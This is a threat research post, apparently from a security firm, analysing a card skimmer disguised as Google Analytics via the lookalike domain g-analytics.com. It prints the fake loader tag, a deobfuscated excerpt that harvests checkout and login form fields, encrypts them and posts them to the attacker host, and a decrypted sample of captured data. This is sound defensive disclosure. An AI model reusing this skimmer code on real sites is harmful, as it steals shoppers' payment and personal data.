Is your Google Analytics code malicious?
by Sansec Forensics Team
Published in Threat Research − September 06, 2018
Criminals are found using Google Analytics to disguise their malware campaigns and stay under the radar.
Would you - a webdeveloper - get alarmed if you found the following code on your website? Probably not, as Google Analytics is embedded in pretty much every website these days:
<script type="text/javascript"> (function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ?
'https://' : 'http://') + 'g-analytics.com/libs/analytics.js';
(document.getElementsByTagName('head')[0] ||
document.getElementsByTagName('body')[0]).appendChild(ga);
})();
var _qaq = _qaq || [];
_qaq.push(['_setAccount', 'UA-30188865-1']);
_qaq.push(['_trackPageview']); </script>
However, you just skimmed over an ingenious impersonation. The domain g-analytics.com
is not owned by Google, as opposed to its legitimate google-analytics.com
counterpart. The fraud is hosted on a dodgy Russian/Romanian/Dutch/Dubai network called HostSailor. The malware behaves pretty much like the real Google Analytics, and it wouldn't raise any dev eyebrows while monitoring Chrome's waterfall chart. It requests __utm.gif
, just like other Google Analytics trackers:
Upon closer inspection, the utm.gif request is a POST (uncommon). And it sends a suspicious amount of data over:
Among others, it sends my supposed screen resolution of 2560x1440 (I wish!). The track
parameter appears to be the real payload. The calling Javascript is obfuscated (backup) using a free service but with some help of JSnice and manual dissection, I extracted:
$(function(saveNotifs) {
saveNotifs('button, .form-button, .onestepcheckout-button, .btn')['on']('click', function() {
// ...
if ((new RegExp('onepage|checkout|onestep|payment|admin|account|login|password|cart'))['test'](location)) {
var all_form_fields = document['querySelectorAll']('input, select, textarea, checkbox');
// ...
if (payload) {
var credit_card_regex = new RegExp('[0-9]{13,16}');
var password = '4d25a9bb5f714290adb1334942e2e94f0c2595f5af50aeb9bc811717650fce08';
var cloudSaveObject = payload + '&asd=' + (credit_card_regex['test'](payload['replace'](/s/g, '')) ? 1 : 0) + '&utmp=' + cur_url;
var base64encoded_gibberish = btoa(GibberishAES['enc'](cloudSaveObject, password));
my_xhr['open'](my_http_method, saveNotifs('<div />')['html']('//g-analytics.com/__utm.gif?v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp=2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071')['text'](), true);
my_xhr['send']('v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp=2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071&track=' + base64encoded_gibberish);
}
});
We can deduce:
- The malware checks if the current page has anything to do with "account", "login", "payment" or "password". If so, it activates.
- When a button is clicked, it collects all user input, and encrypts them using Gibberish-AES and the password
4d25a...
. - It base64 encodes the encrypted object and posts it to the g-analytics.com server.
To verify this, I tried to AES decrypt the payload using the same password (aes decryptor here):
$ python decrypt-aes.py
billing[firstname]=Willem
billing[lastname]=FakeLastname
billing[email][email protected]
billing[telephone]=01234657868
billing[street][]=Fakestreet 13
billing[country_id]=AL
billing[city]=Tirana
billing[postcode]=12345
payment[method]=paytpvcom
payment[cc_owner]=Willem
payment[cc_number]=4111111111111111
payment[cc_exp_month]=2
payment[cc_exp_year]=2022
payment[cc_cid]=123
base_url=https://www.HACKEDSTORE.com/buy/
conditions_url=https://www.HACKEDSTORE.com/buy/paytpvcom/standard/conditions/
dl=https://www.HACKEDSTORE.com/buy/onestepcheckout/
utmp=https://www.HACKEDSTORE.com/buy/onestepcheckout/
Voila, my address, email and credit card info out in the open.
Timeline
The g-analytics
malware has spread to various websites. Interestingly, some websites embed a versioned copy, such as:
https://g-analytics.com/libs/1.0.10/analytics.js
I enumerated all possible copies and checked for the "Last-Modified" header:
$ for i in $(seq 1 20); do
wget --mirror https://g-analytics.com/libs/1.0.$i/analytics.js;
done
$ ls -rtl */* | cut -b28-
130744 jun 23 04:47 1.0.1/analytics.js
30866 jun 27 06:25 1.0.3/analytics.js
32258 jun 27 13:06 1.0.4/analytics.js
32231 jun 28 17:11 1.0.6/analytics.js
34288 jun 28 18:03 1.0.7/analytics.js
31330 jun 28 19:25 1.0.5/analytics.js
75557 jun 30 15:41 1.0.8/analytics.js
30838 jul 2 08:51 1.0.9/analytics.js
31098 jul 4 17:41 1.0.11/analytics.js
56946 jul 5 07:29 1.0.10/analytics.js
57603 jul 5 09:43 1.0.12/analytics.js
24069 jul 7 05:58 1.0.14/analytics.js
31234 jul 7 14:27 1.0.13/analytics.js
35515 jul 10 11:44 1.0.15/analytics.js
The malware creator seemed to have created 14 different copies over the course of 3 weeks. At least versions 1.0.10 and 1.0.12 include a fake payment popup form that was built for a specific website. These instances are still harvesting passwords and identities as of today.
Read more
In this article
Easy CSP for your store?
Try Sansec Watch! Free, simple and fully integrated. Get PCI compliant alerting with minimal effort.
Sansec WatchScan your store now
for malware & vulnerabilities
eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.
Learn more